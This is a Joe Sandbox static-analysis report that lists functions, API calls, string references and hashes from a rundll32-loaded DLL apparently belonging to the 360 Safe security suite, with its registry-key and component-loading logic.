Associated: 00000006.00000002.1996154731.0000000180086000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996194436.00000001800C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996218459.00000001800C6000.00000008.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996253789.000000018016C000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: AddressProc$CriticalSectionmemset$AppendPath$??3@CountEnterErrorFileFreeInitializeLastLeaveLibraryModuleNameSpin
String ID: ..\deepscan\$360Safe$360util$QueryFileCancel$QueryFileClose$QueryFileCreate$QueryFilesEx2$QuerySetOption$cloudcom2.dll
API String ID: 1015768321-2684063875
Opcode ID: 75acf276f5303c209b0e6b56f5e71fa6dc54d5f9daca34d9052b038fe3a01ebd
Instruction ID: 85df055bf9425c6c0da70963d94a526d831783e1f19dc8973dcfbc1a34099653
Opcode Fuzzy Hash: 75acf276f5303c209b0e6b56f5e71fa6dc54d5f9daca34d9052b038fe3a01ebd
Instruction Fuzzy Hash: B2818032301B8896EBA6DF21ED403D933A5FB497D4F548125EA5A0BBA4DF38D768C740

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180066428 Relevance: 33.4, APIs: 13, Strings: 6, Instructions: 103registrylibraryloaderCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.ADVAPI32 ref: 0000000180066475
RegQueryValueExW.ADVAPI32 ref: 00000001800664BA
RegCloseKey.ADVAPI32 ref: 00000001800664D7
RegOpenKeyExW.ADVAPI32 ref: 00000001800664FE
memset.MSVCRT ref: 0000000180066519
RegQueryValueExW.ADVAPI32 ref: 0000000180066556
RegCloseKey.ADVAPI32 ref: 000000018006656C
PathAppendW.SHLWAPI ref: 000000018006657E
PathFileExistsW.SHLWAPI ref: 0000000180066589

Part of subcall function 0000000180065F9C: GetModuleHandleW.KERNEL32 ref: 0000000180065FBE
Part of subcall function 0000000180065F9C: memset.MSVCRT ref: 0000000180065FD4

GetProcAddress.KERNEL32 ref: 00000001800665AF
FreeLibrary.KERNEL32 ref: 00000001800665C3
FreeLibrary.KERNEL32 ref: 00000001800665D0
RegCloseKey.ADVAPI32 ref: 00000001800665DD

Strings

Path, xrefs: 0000000180066547
ServiceCall, xrefs: 00000001800664AF
\entclient\EntSvcCall_x64.dll, xrefs: 0000000180066572
SOFTWARE\360Safe\360Ent, xrefs: 0000000180066467
SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\360safe.exe, xrefs: 00000001800664F0
Init, xrefs: 00000001800665A5

Memory Dump Source

Source File: 00000006.00000002.1996045299.0000000180001000.00000020.00000001.01000000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.1996020387.0000000180000000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996154731.0000000180086000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996194436.00000001800C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996218459.00000001800C6000.00000008.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996253789.000000018016C000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: Close$FreeLibraryOpenPathQueryValuememset$AddressAppendExistsFileHandleModuleProc
String ID: Init$Path$SOFTWARE\360Safe\360Ent$SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\360safe.exe$ServiceCall$\entclient\EntSvcCall_x64.dll
API String ID: 1498439332-702965266
Opcode ID: 7287dc7089829755e66462901955348d5673694c8cc533bc2c05e2a633cd80c9
Instruction ID: 4281fb2f7f8363f35efb0fd70a638a071d20137889dcc292f685ea46b841f4e2
Opcode Fuzzy Hash: 7287dc7089829755e66462901955348d5673694c8cc533bc2c05e2a633cd80c9
Instruction Fuzzy Hash: 74513E32614B4996EF918F20E8557DA73A0F7897C4F549116BA9F06A79EF38C74CCB00

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180024CD4 Relevance: 32.0, APIs: 6, Strings: 12, Instructions: 490COMMON

Download Yara Rule

APIs

wcsstr.MSVCRT ref: 0000000180024D2B
PathFindExtensionW.SHLWAPI ref: 0000000180024D45
wcsstr.MSVCRT ref: 0000000180024D81
_wcsicmp.MSVCRT ref: 0000000180024DBC
wcschr.MSVCRT ref: 0000000180025254
_wtoi.MSVCRT ref: 0000000180025266

Strings

LocalServer32, xrefs: 0000000180025573, 0000000180025592
InprocServer32, xrefs: 000000018002598A, 00000001800259A9
LocalServer, xrefs: 0000000180025539, 0000000180025558
CLSID, xrefs: 0000000180025490
gfffffff, xrefs: 0000000180025A39
InprocHandler32, xrefs: 00000001800259FE, 0000000180025A1D
gfffffff, xrefs: 0000000180025519
\\?\, xrefs: 0000000180025ABC
InprocHandler, xrefs: 00000001800259C4, 00000001800259E3
Server, xrefs: 00000001800255AD, 00000001800255CC
ShellExecute, xrefs: 000000018002568D
InprocServer, xrefs: 0000000180025950, 000000018002596F

Memory Dump Source

Source File: 00000006.00000002.1996045299.0000000180001000.00000020.00000001.01000000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.1996020387.0000000180000000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996154731.0000000180086000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996194436.00000001800C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996218459.00000001800C6000.00000008.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996253789.000000018016C000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: wcsstr$ExtensionFindPath_wcsicmp_wtoiwcschr
String ID: CLSID$InprocHandler$InprocHandler32$InprocServer$InprocServer32$LocalServer$LocalServer32$Server$ShellExecute$\\?\$gfffffff$gfffffff
API String ID: 3861457700-2318594275
Opcode ID: 1a717cbbda8cc80c3c9297c878bbbc669d8a73a80a9fe28ac877bfe538569426
Instruction ID: f5eaf3cd70d8a4233fc3eb4f5baabc932733307175318797ea3a634ab2d80fd0
Opcode Fuzzy Hash: 1a717cbbda8cc80c3c9297c878bbbc669d8a73a80a9fe28ac877bfe538569426
Instruction Fuzzy Hash: 3A12B672301A4886EB92DF39C8407DD23A1FB85BE5F44D211EA6D576E9EF78CA48C704

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180017114 Relevance: 31.8, APIs: 14, Strings: 4, Instructions: 278sleepCOMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 0000000180017179
GetTickCount.KERNEL32 ref: 0000000180017189
Sleep.KERNEL32 ref: 000000018001719B

Strings

CreateObject, xrefs: 0000000180017469
..\, xrefs: 00000001800173CF
..\cloudcom264.dll, xrefs: 0000000180017352
..\deepscan\cloudcom264.dll, xrefs: 0000000180017307

Memory Dump Source

Source File: 00000006.00000002.1996045299.0000000180001000.00000020.00000001.01000000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.1996020387.0000000180000000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996154731.0000000180086000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996194436.00000001800C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996218459.00000001800C6000.00000008.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996253789.000000018016C000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: CountTick$Sleep
String ID: ..\$..\cloudcom264.dll$..\deepscan\cloudcom264.dll$CreateObject
API String ID: 4250438611-3269604003
Opcode ID: b26729f86dd87614dde1f224353b88e55a5d4336fc5642cbf555589fae585a1a
Instruction ID: 779814ae67fce754565a54a050c1806dc9f81f57e114568d0bd2b2f20499cc86
Opcode Fuzzy Hash: b26729f86dd87614dde1f224353b88e55a5d4336fc5642cbf555589fae585a1a
Instruction Fuzzy Hash: 0CC16D72301F4882EB969B29D84479D33B1F788BE4F458215FA2E437A5EF38CA49C740

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180056DE8 Relevance: 31.6, APIs: 9, Strings: 9, Instructions: 118COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?,?,?,?,?,00000000), ref: 0000000180056E2B
_wcsicmp.MSVCRT ref: 0000000180056E62
_wcsicmp.MSVCRT ref: 0000000180056E79
memset.MSVCRT ref: 0000000180056E93
SHGetValueW.SHLWAPI ref: 0000000180056ECC
memset.MSVCRT ref: 0000000180056EF4
memset.MSVCRT ref: 0000000180056F1B

Part of subcall function 0000000180056534: memset.MSVCRT ref: 0000000180056572
Part of subcall function 0000000180056534: GetModuleFileNameW.KERNEL32 ref: 0000000180056589
Part of subcall function 0000000180056534: PathAppendW.SHLWAPI ref: 00000001800565AD
Part of subcall function 0000000180056534: _wcsicmp.MSVCRT ref: 00000001800565C8
Part of subcall function 0000000180056534: PathAppendW.SHLWAPI ref: 00000001800565DE

SHGetValueW.SHLWAPI ref: 0000000180056F5D
LeaveCriticalSection.KERNEL32 ref: 0000000180056F91

Strings

Partner, xrefs: 0000000180056F2F
pid, xrefs: 0000000180056EB4
SOFTWARE\Wow6432Node\360Safe\Coop, xrefs: 0000000180056F0A
SOFTWARE\Wow6432Node\360EntSecurity, xrefs: 0000000180056F41
360ExtHost, xrefs: 0000000180056E58
SOFTWARE\Wow6432Node\360SD, xrefs: 0000000180056EBB
ipartner, xrefs: 0000000180056F03
PCInfo, xrefs: 0000000180056E6F
SOFTWARE\Wow6432Node\360EDRSensor, xrefs: 0000000180056F38

Memory Dump Source

Source File: 00000006.00000002.1996045299.0000000180001000.00000020.00000001.01000000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.1996020387.0000000180000000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996154731.0000000180086000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996194436.00000001800C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996218459.00000001800C6000.00000008.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996253789.000000018016C000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: memset$_wcsicmp$AppendCriticalPathSectionValue$EnterFileLeaveModuleName
String ID: 360ExtHost$PCInfo$Partner$SOFTWARE\Wow6432Node\360EDRSensor$SOFTWARE\Wow6432Node\360EntSecurity$SOFTWARE\Wow6432Node\360SD$SOFTWARE\Wow6432Node\360Safe\Coop$ipartner$pid
API String ID: 3226263223-3142758636
Opcode ID: 628566989c82da212381fb3148179b37bd681cc2eaf5be604a1b5c7982e4b541
Instruction ID: 9533c192c26b347b8b9675f8c4be5ba0e6f9fe9a3a5b632a6bc0f6ba07ebb3e1
Opcode Fuzzy Hash: 628566989c82da212381fb3148179b37bd681cc2eaf5be604a1b5c7982e4b541
Instruction Fuzzy Hash: CF419D31A00A0C94FB96DB22A8403D963A4F74DBE4F909225FD28677A5EF39C74EC340

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180044F64 Relevance: 30.1, APIs: 9, Strings: 8, Instructions: 320COMMON

Download Yara Rule

APIs

Part of subcall function 000000018000A7AC: GetProcessHeap.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,0000000180001020), ref: 000000018000A7D5

_cwprintf_s_l.LIBCMT ref: 00000001800450AA
_cwprintf_s_l.LIBCMT ref: 00000001800450C2
_cwprintf_s_l.LIBCMT ref: 00000001800450D8

Part of subcall function 0000000180017B44: memset.MSVCRT ref: 0000000180017B79
Part of subcall function 0000000180017B44: memset.MSVCRT ref: 0000000180017BCB
Part of subcall function 0000000180017B44: InitializeCriticalSectionAndSpinCount.KERNEL32(?,?,?,?,?,?,0000000180006327), ref: 0000000180017BD6
Part of subcall function 0000000180017B44: GetLastError.KERNEL32(?,?,?,?,?,?,0000000180006327), ref: 0000000180017BE0
Part of subcall function 0000000180017B44: GetTickCount.KERNEL32 ref: 0000000180017BF8

Part of subcall function 000000018000D19C: ??2@YAPEAX_K@Z.MSVCRT ref: 000000018000D22A
Part of subcall function 000000018000D19C: memset.MSVCRT ref: 000000018000D270
Part of subcall function 000000018000D19C: memmove.MSVCRT ref: 000000018000D282
Part of subcall function 000000018000D19C: ??3@YAXPEAX@Z.MSVCRT ref: 000000018000D2B8

memmove.MSVCRT ref: 000000018004518F
??_V@YAXPEAX@Z.MSVCRT ref: 00000001800451AE
??3@YAXPEAX@Z.MSVCRT ref: 00000001800451EB
GetTickCount.KERNEL32 ref: 0000000180045357
srand.MSVCRT ref: 000000018004535F
rand.MSVCRT ref: 0000000180045365

Strings

360safe, xrefs: 0000000180045086
router, xrefs: 000000018004507A
[%s], xrefs: 0000000180045051, 00000001800450B6
DomainQuery, xrefs: 00000001800450AF
com, xrefs: 000000018004504A
router:1, xrefs: 000000018004506E
mid=%sm2=%sproduct=%scombo=%srule_group_id=%suv=%s, xrefs: 000000018004509E
0=%s, xrefs: 00000001800450CC

Memory Dump Source

Source File: 00000006.00000002.1996045299.0000000180001000.00000020.00000001.01000000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.1996020387.0000000180000000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996154731.0000000180086000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996194436.00000001800C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996218459.00000001800C6000.00000008.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996253789.000000018016C000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: Count_cwprintf_s_lmemset$??3@Tickmemmove$??2@CriticalErrorHeapInitializeLastProcessSectionSpinrandsrand
String ID: 0=%s$360safe$DomainQuery$[%s]$com$mid=%sm2=%sproduct=%scombo=%srule_group_id=%suv=%s$router$router:1
API String ID: 1789426470-3446598425
Opcode ID: 61786b1980ef7039dc4211af90e47e9a0e74f34993d56612bf85e9d061f4368c
Instruction ID: 6d6f9855de1d8c5247af129e1c82467daf937bd8777ee679c9f2b2c93b700a4d
Opcode Fuzzy Hash: 61786b1980ef7039dc4211af90e47e9a0e74f34993d56612bf85e9d061f4368c
Instruction Fuzzy Hash: D8D19132204F4882EB419B69D8803DE73A0F789BE5F108226BAAD477E5DF78C649C704

Uniqueness

Uniqueness Score: -1.00%

Function 000000018004C034 Relevance: 29.9, APIs: 13, Strings: 4, Instructions: 112memoryCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32 ref: 000000018004C074
OpenProcessToken.ADVAPI32 ref: 000000018004C085
GetTokenInformation.ADVAPI32 ref: 000000018004C0B8
GetLastError.KERNEL32 ref: 000000018004C0C8
GlobalAlloc.KERNEL32 ref: 000000018004C0E3
GetTokenInformation.ADVAPI32 ref: 000000018004C115
LookupAccountSidW.ADVAPI32 ref: 000000018004C156
CloseHandle.KERNEL32 ref: 000000018004C175
GlobalFree.KERNEL32 ref: 000000018004C183
wcscmp.MSVCRT ref: 000000018004C19D
wcscmp.MSVCRT ref: 000000018004C1B4
wcscmp.MSVCRT ref: 000000018004C1CB
wcscmp.MSVCRT ref: 000000018004C1E2

Strings

SYSTEM, xrefs: 000000018004C1A6
LOCAL SERVICE, xrefs: 000000018004C1BD
NETWORK SERVICE, xrefs: 000000018004C1D4
NT AUTHORITY, xrefs: 000000018004C193

Memory Dump Source

Source File: 00000006.00000002.1996045299.0000000180001000.00000020.00000001.01000000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.1996020387.0000000180000000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996154731.0000000180086000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996194436.00000001800C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996218459.00000001800C6000.00000008.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996253789.000000018016C000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: wcscmp$Token$GlobalInformationProcess$AccountAllocCloseCurrentErrorFreeHandleLastLookupOpen
String ID: LOCAL SERVICE$NETWORK SERVICE$NT AUTHORITY$SYSTEM
API String ID: 3141378966-199577007
Opcode ID: 8d6976f719ecb46038f7faa6d62441ad30095ab4bbf55d005c38fee77e3359ad
Instruction ID: cee3605f7c7adaec53412b2e982fb153fefebb873c81ca2b5be3308eddbb09f0
Opcode Fuzzy Hash: 8d6976f719ecb46038f7faa6d62441ad30095ab4bbf55d005c38fee77e3359ad
Instruction Fuzzy Hash: F2517C32604B4986EBE28F14E8847DA73A5F78D7D8F518125EA5D436A4DF39C70DCB00

Uniqueness

Uniqueness Score: -1.00%

Function 000000018003AC1C Relevance: 26.4, APIs: 12, Strings: 3, Instructions: 107COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 000000018003AC67
GetModuleHandleW.KERNEL32 ref: 000000018003AC73
GetModuleFileNameW.KERNEL32 ref: 000000018003AC8E
memset.MSVCRT ref: 000000018003ACAE
GetModuleFileNameW.KERNEL32 ref: 000000018003ACC4
PathAppendW.SHLWAPI ref: 000000018003ACEA
PathAppendW.SHLWAPI ref: 000000018003ACFC
GetFileAttributesW.KERNEL32 ref: 000000018003AD07
PathAppendW.SHLWAPI ref: 000000018003AD36
PathAppendW.SHLWAPI ref: 000000018003AD48

Strings

..\deepscan\, xrefs: 000000018003ACDE
bapi64.dll, xrefs: 000000018003AC6C, 000000018003ACF0, 000000018003AD3C
..\, xrefs: 000000018003AD2A

Memory Dump Source

Source File: 00000006.00000002.1996045299.0000000180001000.00000020.00000001.01000000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.1996020387.0000000180000000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996154731.0000000180086000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996194436.00000001800C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996218459.00000001800C6000.00000008.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996253789.000000018016C000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: AppendPath$FileModule$Namememset$AttributesHandle
String ID: ..\$..\deepscan\$bapi64.dll
API String ID: 2144934147-2390674060
Opcode ID: 9d5beebac642680a506550c8be48c190e39914ceb82cb04c52bb84f1375e2870
Instruction ID: 18b05e09174244348b6cef7f8f2b1baf28e5037f203e247325d4c6a64b139c1b
Opcode Fuzzy Hash: 9d5beebac642680a506550c8be48c190e39914ceb82cb04c52bb84f1375e2870
Instruction Fuzzy Hash: 6F514B32614A8882FBA3DB20EC443DA3361F78D7C9F859125E59A47AA5EF2DC74DC740

Uniqueness

Uniqueness Score: -1.00%

Function 000000018004872C Relevance: 24.8, APIs: 10, Strings: 4, Instructions: 318COMMON

Download Yara Rule

APIs

Part of subcall function 000000018000A7AC: GetProcessHeap.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,0000000180001020), ref: 000000018000A7D5

_cwprintf_s_l.LIBCMT ref: 0000000180048845
_cwprintf_s_l.LIBCMT ref: 000000018004885A
IsBadStringPtrW.KERNEL32 ref: 0000000180048873
_cwprintf_s_l.LIBCMT ref: 000000018004888F
memmove.MSVCRT ref: 0000000180048946
??_V@YAXPEAX@Z.MSVCRT ref: 00000001800489B5
??3@YAXPEAX@Z.MSVCRT ref: 00000001800489F2
GetTickCount.KERNEL32 ref: 0000000180048B0C
srand.MSVCRT ref: 0000000180048B14
rand.MSVCRT ref: 0000000180048B1A

Strings

[%s], xrefs: 00000001800487EE, 000000018004884E
%d=%s, xrefs: 0000000180048883
mid=%sm2=%sproduct=%scombo=%srule_group_id=%suv=%spid=%s, xrefs: 0000000180048839
com, xrefs: 00000001800487E7

Memory Dump Source

Source File: 00000006.00000002.1996045299.0000000180001000.00000020.00000001.01000000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.1996020387.0000000180000000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996154731.0000000180086000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996194436.00000001800C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996218459.00000001800C6000.00000008.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996253789.000000018016C000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: _cwprintf_s_l$??3@CountHeapProcessStringTickmemmoverandsrand
String ID: %d=%s$[%s]$com$mid=%sm2=%sproduct=%scombo=%srule_group_id=%suv=%spid=%s
API String ID: 2740332460-2247268028
Opcode ID: 48d86df3b5eac7e439a35ff4fd84f198e4b1e974b1358ce155bcc0297089f372
Instruction ID: 80426b886386f52412969e15ba132e6e65bce95777886caa6ce0aa64614bcf94
Opcode Fuzzy Hash: 48d86df3b5eac7e439a35ff4fd84f198e4b1e974b1358ce155bcc0297089f372
Instruction Fuzzy Hash: 5FD1C172305F4886EB51DB29E88039E73A0FB88BE8F158625AE5D077A5DF78C549C704

Uniqueness

Uniqueness Score: -1.00%

Function 000000018004F018 Relevance: 24.6, APIs: 7, Strings: 7, Instructions: 116COMMON

Download Yara Rule

APIs

wcsstr.MSVCRT ref: 000000018004F06D
_wcsicmp.MSVCRT ref: 000000018004F102
_wcsnicmp.MSVCRT ref: 000000018004F11C
_wcsicmp.MSVCRT ref: 000000018004F14D
_wcsnicmp.MSVCRT ref: 000000018004F167
_wcsicmp.MSVCRT ref: 000000018004F17B
_wcsnicmp.MSVCRT ref: 000000018004F195

Strings

Software\Classes\Wow6432Node, xrefs: 000000018004F143
Software\Wow6432Node\, xrefs: 000000018004F18B
Wow6432Node, xrefs: 000000018004F0F8
Software\Classes\Wow6432Node\, xrefs: 000000018004F15D
wow6432node, xrefs: 000000018004F066
Software\Wow6432Node, xrefs: 000000018004F171
Wow6432Node\, xrefs: 000000018004F112

Memory Dump Source

Source File: 00000006.00000002.1996045299.0000000180001000.00000020.00000001.01000000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.1996020387.0000000180000000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996154731.0000000180086000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996194436.00000001800C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996218459.00000001800C6000.00000008.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996253789.000000018016C000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: _wcsicmp_wcsnicmp$wcsstr
String ID: Software\Classes\Wow6432Node$Software\Classes\Wow6432Node\$Software\Wow6432Node$Software\Wow6432Node\$Wow6432Node$Wow6432Node\$wow6432node
API String ID: 4199785700-2224805171
Opcode ID: bc25291bcc814f054e7e10840494f54f48fde9230fe93c8f0d5c0c6b2b3ad0be
Instruction ID: 173969ce7e51924b4f06bf421c606f91b3afd6de77e358442d966ae2f37bd097
Opcode Fuzzy Hash: bc25291bcc814f054e7e10840494f54f48fde9230fe93c8f0d5c0c6b2b3ad0be
Instruction Fuzzy Hash: 55517371710E48C1EBA6DB29D8843B923A1B789BE4F46C215EA39437E4DF68CB4CC745

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180014138 Relevance: 24.6, APIs: 11, Strings: 3, Instructions: 92COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 000000018001417F
GetModuleFileNameW.KERNEL32 ref: 0000000180014196
PathAppendW.SHLWAPI ref: 00000001800141A8

Part of subcall function 0000000180065EE4: PathFileExistsW.SHLWAPI ref: 0000000180065F00
Part of subcall function 0000000180065EE4: EnterCriticalSection.KERNEL32 ref: 0000000180065F2A
Part of subcall function 0000000180065EE4: LeaveCriticalSection.KERNEL32 ref: 0000000180065F73

memset.MSVCRT ref: 00000001800141E1
GetModuleFileNameW.KERNEL32 ref: 00000001800141F8
PathAppendW.SHLWAPI ref: 000000018001420A
PathFileExistsW.SHLWAPI ref: 0000000180014215
memset.MSVCRT ref: 0000000180014229
GetModuleFileNameW.KERNEL32 ref: 0000000180014240
PathAppendW.SHLWAPI ref: 0000000180014252
PathFileExistsW.SHLWAPI ref: 000000018001425D

Strings

..\360sd.exe, xrefs: 00000001800141FE
..\safemon\360Cactus.tpi, xrefs: 000000018001419C
..\360SkinMgr.exe, xrefs: 0000000180014246

Memory Dump Source

Source File: 00000006.00000002.1996045299.0000000180001000.00000020.00000001.01000000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.1996020387.0000000180000000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996154731.0000000180086000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996194436.00000001800C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996218459.00000001800C6000.00000008.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996253789.000000018016C000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: FilePath$AppendExistsModuleNamememset$CriticalSection$EnterLeave
String ID: ..\360SkinMgr.exe$..\360sd.exe$..\safemon\360Cactus.tpi
API String ID: 2738204422-1657815065
Opcode ID: 78597d9bd975c32090d8355579ef8ffe821f8875940c9f43dd2c1350df723c28
Instruction ID: 05d3995d6e5afe1b7f2ff7eb98ba3dbe6d41cc5d548c72c66593806649a32fef
Opcode Fuzzy Hash: 78597d9bd975c32090d8355579ef8ffe821f8875940c9f43dd2c1350df723c28
Instruction Fuzzy Hash: 0E417131614A8D82EBE69B21EC953EA27A4F79D784F80C055F99E476A5DF2DC30DCB00

Uniqueness

Uniqueness Score: -1.00%

Function 000000018004C3C8 Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 187COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 000000018004C433
GetModuleFileNameW.KERNEL32 ref: 000000018004C44D
PathAppendW.SHLWAPI ref: 000000018004C462

Strings

..\360bps.dat, xrefs: 000000018004C453
//lsp/fnp, xrefs: 000000018004C66D
//lsp/fnpw, xrefs: 000000018004C685

Memory Dump Source

Source File: 00000006.00000002.1996045299.0000000180001000.00000020.00000001.01000000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.1996020387.0000000180000000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996154731.0000000180086000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996194436.00000001800C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996218459.00000001800C6000.00000008.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996253789.000000018016C000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: AppendFileModuleNamePathmemset
String ID: ..\360bps.dat$//lsp/fnp$//lsp/fnpw
API String ID: 1620117007-629564897
Opcode ID: 8b88fd5d987282aa7e8cbcbc9338ad7a6d43f93b19f4f5ae7e83081502dc9fb0
Instruction ID: 9751cd454638bcc7bf23e097769634142843b259acdcdf6531404e40a8ce2858
Opcode Fuzzy Hash: 8b88fd5d987282aa7e8cbcbc9338ad7a6d43f93b19f4f5ae7e83081502dc9fb0
Instruction Fuzzy Hash: FF918431209B8882EAD2CF15E8847DDB7A4F7887D4F418116EA9943BA9DF7CC64DCB01

Uniqueness

Uniqueness Score: -1.00%

Function 000000018000E07C Relevance: 22.9, APIs: 11, Strings: 2, Instructions: 163filetimeCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32 ref: 000000018000E0E1
GetFileSizeEx.KERNEL32 ref: 000000018000E0FB
malloc.MSVCRT ref: 000000018000E127
memset.MSVCRT ref: 000000018000E142
ReadFile.KERNEL32 ref: 000000018000E15C

Part of subcall function 000000018000DDA4: EnterCriticalSection.KERNEL32 ref: 000000018000DDEB
Part of subcall function 000000018000DDA4: LeaveCriticalSection.KERNEL32 ref: 000000018000DE34

malloc.MSVCRT ref: 000000018000E22B
memset.MSVCRT ref: 000000018000E247

Part of subcall function 000000018000DC14: EnterCriticalSection.KERNEL32 ref: 000000018000DC5D
Part of subcall function 000000018000DC14: LeaveCriticalSection.KERNEL32 ref: 000000018000DCA6

GetFileTime.KERNEL32 ref: 000000018000E281
